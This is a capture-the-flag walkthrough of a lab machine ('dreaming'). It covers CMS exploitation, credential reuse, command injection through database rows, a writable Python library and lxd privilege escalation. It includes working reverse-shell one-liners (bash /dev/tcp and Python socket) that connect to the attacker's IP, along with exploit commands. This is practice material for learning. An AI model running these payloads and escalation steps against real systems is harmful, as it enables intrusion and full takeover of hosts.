This is a fresh machine (while writing it was made today, I solved it 2 days after release, and I updated it 3 days after release)

Enumaration

First thing we should do is nmap scan

$ nmap -sC -sV -oN scan.txt $IP
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-17 21:24 CET
Nmap scan report for 10.10.241.63
Host is up (0.059s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 76:26:67:a6:b0:08:0e:ed:34:58:5b:4e:77:45:92:57 (RSA)
|   256 52:3a:ad:26:7f:6e:3f:23:f9:e4:ef:e8:5a:c8:42:5c (ECDSA)
|_  256 71:df:6e:81:f0:80:79:71:a8:da:2e:1e:56:c4:de:bb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.82 seconds

There are only 2 services - there must be something on Apache

First thing we see is default apache page - maybe something is hidden

$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://$IP/  -x php,html,txt,js  
[...]
/app                  (Status: 301) [Size: 310] [--> http://10.10.241.63/app/]
/index.html           (Status: 200) [Size: 10918]
/index.html           (Status: 200) [Size: 10918]
/server-status        (Status: 403) [Size: 277]
Progress: 23075 / 23080 (99.98%)

The most important part must be hidden in app. Inside is another dir called pluck-4.7.13

This must be the name of service and it’s verion - by the way

$ searchsploit pluck       
---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
[...]
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)              | php/webapps/49909.py
Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated)                    | php/webapps/50826.py
Pluck CMS 4.7.3 - Cross-Site Request Forgery (Add Page)                           | php/webapps/40566.py
Pluck CMS 4.7.3 - Multiple Vulnerabilities                                        | php/webapps/38002.txt
Pluck v4.7.18 - Remote Code Execution (RCE)                                       | php/webapps/51592.py
pluck v4.7.18 - Stored Cross-Site Scripting (XSS)                                 | php/webapps/51420.txt
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

We have a vulnerability - RCE and Arbitrary File Upload. But authenticated so we will have to find a way to log in

Actually with a simple brute force I guessed the password - it’s password

Now we can utilize our exploit - copy it to our working directory

$ searchsploit -m 49909 

After we analyze the code we see it takes 4 parameters

'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]

So our command looks like this

$ python3 49909.py $IP 80 "password" "/app/pluck-4.7.13"

After we visit a link on the website we get a beatiful shell - I like it tbh

Escalation pt.1 - lucien

In /opt we have a file called test.py

$ cat test.py 
import requests

#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "[REDACTED]"

data = {
        "cont1":password,
        "bogus":"",
        "submit":"Log+in"
        }

req = requests.post(url,data=data)

if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
    print("Something is wrong. Status Code: " + str(req.status_code))
    print("Results:\n" + req.text)

It contains a password? Maybe lucien reuses his/her passwords?

su lucien
Password: [REDACTED]
lucien@dreaming:/opt$ 

Boom! - it worked.

Let’s go to home dir and get first flag

$ cd ~
$ cat lucien_flag.txt
[REDACTED]

We have the first flag - now 2 are left

Escalation pt.2 - Death

Maybe we can run somthing as other user?

$ sudo -l
Matching Defaults entries for lucien on dreaming:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lucien may run the following commands on dreaming:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py

That’s it - we can execute getDreams.py as death. Sadly we can’t read it, but wait

Check /opt dir again

$ ls -la
total 16
drwxr-xr-x  2 root   root   4096 Aug 15 12:45 .
drwxr-xr-x 20 root   root   4096 Jul 28 22:35 ..
-rwxrw-r--  1 death  death  1574 Aug 15 12:45 getDreams.py
-rwxr-xr-x  1 lucien lucien  483 Aug  7 23:36 test.py

We also have getDreams.py here, but readable - let’s see it’s content

$ cat getDreams.py
import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"

import mysql.connector
import subprocess

def getDreams():
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(
            host="localhost",
            user=DB_USER,
            password=DB_PASS,
            database=DB_NAME
        )

        # Create a cursor object to execute SQL queries
        cursor = connection.cursor()

        # Construct the MySQL query to fetch dreamer and dream columns from dreams table
        query = "SELECT dreamer, dream FROM dreams;"

        # Execute the query
        cursor.execute(query)

        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()

        if not dreams_info:
            print("No dreams found in the database.")
        else:
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

    except mysql.connector.Error as error:
        # Handle any errors that might occur during the database connection or query execution
        print(f"Error: {error}")

    finally:
        # Close the cursor and connection
        cursor.close()
        connection.close()

# Call the function to echo the dreamer and dream information
getDreams()

My first idea is to hijack either subprocess or mysql.connector module - but I can’t find any way to do this, so let’s try with mysql

Our .bash_history has something interesting in it

$ cat .bash_history
[...]
clear
ls
mysql -u lucien -p[REDACTED]
ls -la
cat .bash_history 
cat .mysql_history 

In bash history we’ve found a password!

Let’s log in now

$ mysql -u lucien -p
Enter password: [REDACTED]
[...]

mysql> 

We got it - use library

> use library;

If we edit something in this database we will get it printed - we can use this for command injection attack

Let’s check it first - run this SQL query

INSERT INTO `dreams` VALUES("hacker", "yes | ls -la");

Then after we execute that code we get

$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

total 44
drwxr-xr-x 5 lucien lucien 4096 Nov 17 23:08 .
drwxr-xr-x 5 root   root   4096 Jul 28 22:26 ..
-rw------- 1 lucien lucien  684 Aug 25 16:27 .bash_history
-rw-r--r-- 1 lucien lucien  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 lucien lucien 3771 Feb 25  2020 .bashrc
drwx------ 3 lucien lucien 4096 Jul 28 18:42 .cache
drwxrwxr-x 4 lucien lucien 4096 Jul 28 18:42 .local
-rw-rw---- 1 lucien lucien   19 Jul 28 16:27 lucien_flag.txt
-rw------- 1 lucien lucien 3065 Nov 17 23:08 .mysql_history
-rw-r--r-- 1 lucien lucien  807 Feb 25  2020 .profile
drwx------ 2 lucien lucien 4096 Jul 28 14:25 .ssh
-rw-r--r-- 1 lucien lucien    0 Jul 28 14:28 .sudo_as_admin_successful

That’s what we wanted - update that but with reverse shell

UPDATE dreams SET `dream` = "yes | /bin/bash -c 'bash -i 1>& /dev/tcp/[Your IP]/2137 0>&1'" WHERE dreamer = "hacker";

Set up a netcat listener in another tab and run that code

# on Kali/Parrot or any other machine u use
$ nc -lvnp 2137

# on attacked machine
sudo -u death /usr/bin/python3 /home/death/getDreams.py

Then in another tab we get the shell -> upgrade it

$ python3 -c 'import pty; pty.spawn("/bin/bash");

We can get the flag now

$ cd ~
$ cat death_flag.txt
cat death_flag.txt
[REDACTED]

Second flag is here - now last one

Death’s password can be found it in getDreams.py

Escalation pt.3 - Morpheus, intended path

Get to morpheus’ home dir and list it

$ cd /home/morpheus
$ ls -la
total 44
drwxr-xr-x 3 morpheus morpheus 4096 Aug  7 23:48 .
drwxr-xr-x 5 root     root     4096 Jul 28 22:26 ..
-rw------- 1 morpheus morpheus   58 Aug 14 18:16 .bash_history
-rw-r--r-- 1 morpheus morpheus  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 morpheus morpheus 3771 Feb 25  2020 .bashrc
-rw-rw-r-- 1 morpheus morpheus   22 Jul 28 22:37 kingdom
drwxrwxr-x 3 morpheus morpheus 4096 Jul 28 22:30 .local
-rw-rw---- 1 morpheus morpheus   28 Jul 28 22:29 morpheus_flag.txt
-rw-r--r-- 1 morpheus morpheus  807 Feb 25  2020 .profile
-rw-rw-r-- 1 morpheus morpheus  180 Aug  7 23:48 restore.py
-rw-rw-r-- 1 morpheus morpheus   66 Jul 28 22:33 .selected_editor

There is a file called restore.py - let’s check it

$ cat restore.py
from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")

There is one interesting thing - shutil. Maybe we can do something with it. Let’s search for it

$ find / -name shutil*  2>>/dev/null
/usr/lib/python3.8/shutil.py
/usr/lib/python3.8/__pycache__/shutil.cpython-38.pyc
/usr/lib/byobu/include/shutil
[...]
$ ls -l /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51474 Aug  7 23:52 /usr/lib/python3.8/shutil.py

Wait, we can read and write to it - Let’s put reverse shell here

But first - start netcat listener on your machine

$ nc -lvnp 2137

Then, we need to open this file in some editor and replace it’s content with reverse shell

$ nano /usr/lib/python3.8/shutil.py

# And inside:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR IP",2137));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Of course relpace YOUR IP with your actual ip from tryhackme VPN

Then we can save and exit it

After a while we get shell - who are we?

$ whoami
morpheus

We are in his home dir (You can check it with pwd) - let’s grab the flag

$ cat morpheus_flag.txt
[REDACTED]

And that’s it, machine pwned - if you want to read about patched unintended path of privesc - Sure go ahead. You might learn something

Escalation pt.3 - Morpheus the unintended path

Note: This is unintended path and has been patched (It worked for 2 days) But I leave it here as relict and for you to learn another privesc technique

It doesn’t work, because lucien is not the part of lxd group

To escalate to morpheus I went back to lucien user

$ su lucien

He is a part of lxd group - we can use lxd to Escalate Privileges

I used method linked above

So, first on our machine (kali/parrot/attackbox) we clone lxd-alpine-builder and go into that directory

$ git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder

Then, build the image

$ sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
$ sudo ./build-alpine -a i686

We need to move it to attacked machine - I use python web server

$ cd ../
$ python3 -m http.server 8000

Then, on attacked machine go to home dir and clone whole content of lxd-alpine-builder directory from attacking machine

$ wget -m http://[Your THM IP]:8000/lxd-alpine-builder

Go into directory signed with your ip and then to lxd-alpine-builder and import image

$ lxc image import ./alpine*.tar.gz --alias myimage

Initialize lxd

$ lxd init

And create container from image with security.privileged option

$ lxc init myimage mycontainer -c security.privileged=true

Then, mount / dir of attacked machine into lxd container

$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

And last - start the container and shell to it

$ lxc start mycontainer
$ lxc exec mycontainer /bin/sh

Now we are root in lxd container - go to /mnt/root

# cd /mnt/root

And there we have it - the / directory of machine - get /home/morpheus/morpheus_flag.txt flag

# cat home/morpheus/morpheus_flag.txt
[REDACTED]

And that’s it - machine pwned

Conclusion

Solvning this machine was really fun - I’ve got pretty quickly through initial access and escalating to death was also a piece of cake for me. But with morpheus I had big problem

I was thinking how to do it, and I found the way - I actually started liking escalating via lxd

I also liked the another one, but I am proud that I found the unintended way too

So, in there I’ve learned how te exploit pluck and practised my privilege escalation skills with files hidden in /opt, comand injection using data from mysql and lxd

That’s it - see you in the next writeups